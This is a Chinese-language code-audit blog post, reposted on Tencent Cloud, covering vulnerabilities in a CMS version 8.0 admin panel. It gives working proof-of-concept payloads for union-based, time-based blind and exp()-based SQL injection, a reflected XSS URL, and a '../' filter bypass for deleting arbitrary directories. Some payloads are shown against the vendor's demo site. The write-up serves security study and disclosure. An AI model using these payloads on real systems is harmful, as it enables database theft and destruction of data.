前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Usual*** CMS 8.0代码审计

Usual*** CMS 8.0代码审计

作者头像
安全小王子
发布2020-08-28 15:46:41
4090
发布2020-08-28 15:46:41
举报
文章被收录于专栏:betasecbetasec

声明:公众号大部分文章来自团队核心成员和知识星球成员,少部分文章经过原作者授权和其它公众号白名单转载。未经授权,严禁转载,如需转载,请联系开白!

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者及本公众号无关!!!

注:本文首发于先知社区,https://xz.aliyun.com/t/8100

START

0x01前言

最近在做代码审计学习的相关练习,在cnvd看到该cms有个SQL注入,于是有了下面的代码审计,感谢这个过程中为我解答疑惑的师傅。

0x02后台a_book_category.php int型注入

跟进到query函数,发现没有任何过滤

POC:

官方演示站点,打个码以示尊重

代码语言:javascript
复制
http://cms.xxxx.com/demo/cmsadmin/a_book_category.php?t=mon&id=-1%20union%20select%201,user(),3%23

该php文件下另外一个触发点:

0x03后台a_pagex.php盲注

POC:

editorValue参数需要手动添加

代码语言:javascript
复制
pagename=test&istop=0&isbottom=0&title=test&webkey=test&description=test&editorValue=1'and if(ascii(substr(user(),1,1))=100,sleep(2),1)#&id=2&submit=%E7%BC%96%E8%BE%91

0x04后台反射型XSS

没什么用,这里用来熟悉xss的代码审计

  • cmsadmin/a_payment.php
  • cmsadmin/a_auth.php
  • .....

POC:

代码语言:javascript
复制
http://cms.xxxxxx.com/demo/cmsadmin/a_auth.php?do=update&l=%22%3C/script%3E%3Cscript%3Ealert(1)%3C/script%3E

0x05后台a_bookx.php注入

mysqli_query不支持堆叠,无回显,初步构造payload:

代码语言:javascript
复制
t=move&id[0]=1',(select 1 and sleep(10)),'2

执行的SQL语句:

代码语言:javascript
复制
UPDATE cms_book set catid='' WHERE id in('1',(select 1 and sleep(10)),'2')

能够正确执行的SQL语句:

代码语言:javascript
复制
UPDATE cms_book set catid='' WHERE id in(1,(select 1 and sleep(10)))

因此初步设想以失败告终,$result返回bool值,True显示咨询删除成功,false则显示咨询删除失败,则可以if构造语句,语句判断语句为真则执行一条可执行的语句,假若为假执行一条报错语句即可使result为False的语句

updatexml,if条件真假与否都会报错

extractvalue,if条件真假与否都会报错

join报错:select id from mysql.user a join mysql.user b ,result返回结果均为true

floor报错:SELECT COUNT() FROM user GROUP BY FLOOR(RAND(0)2);同样返回结果均为true

exp(): mysql>=5.5.5会报错;mysql>=5.5.53,报错不能注出数据,我这里为5.5.53,但是可以用于使语句返回结果为false

POC:

代码语言:javascript
复制
http://cms.xxxx.com/demo/cmsadmin/a_bookx.php?t=move&id[0]=1%27)or%20if((substr((select%20user()),1,1))=%27d%27,(select%201),exp(~0));%23

这个点有更多姿势的师傅欢迎留言!!!

0x06总结删除指定目录

漏洞位置在a_modsx.php,id由用户传入,且有一层过滤

过滤逻辑存在问题,str_replace只替换一次,将../替换为空格,意味着可以进行绕过实现跨目录删除指定目录

代码语言:javascript
复制
.../...//  --> ../

POC:

代码语言:javascript
复制
由于存在一定的影响,这里就不到人家官网验证了

END


免费星球:要求每个人在两周内输出一篇文章发到星球里面,文章为星球成员自己整理的内容,如超过两周没有文章输出的将被拉黑一个月,超过3次将被踢出星球,永久禁止加入!

收费星球:进入的星球成员可以在里面学习一年,包括贝塔安全实验室整理好的学习资料,可让星球管理及合伙人邀请加入免费星球,可以不用发文章,加入的免费星球免踢一年!

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-08-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 betasec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档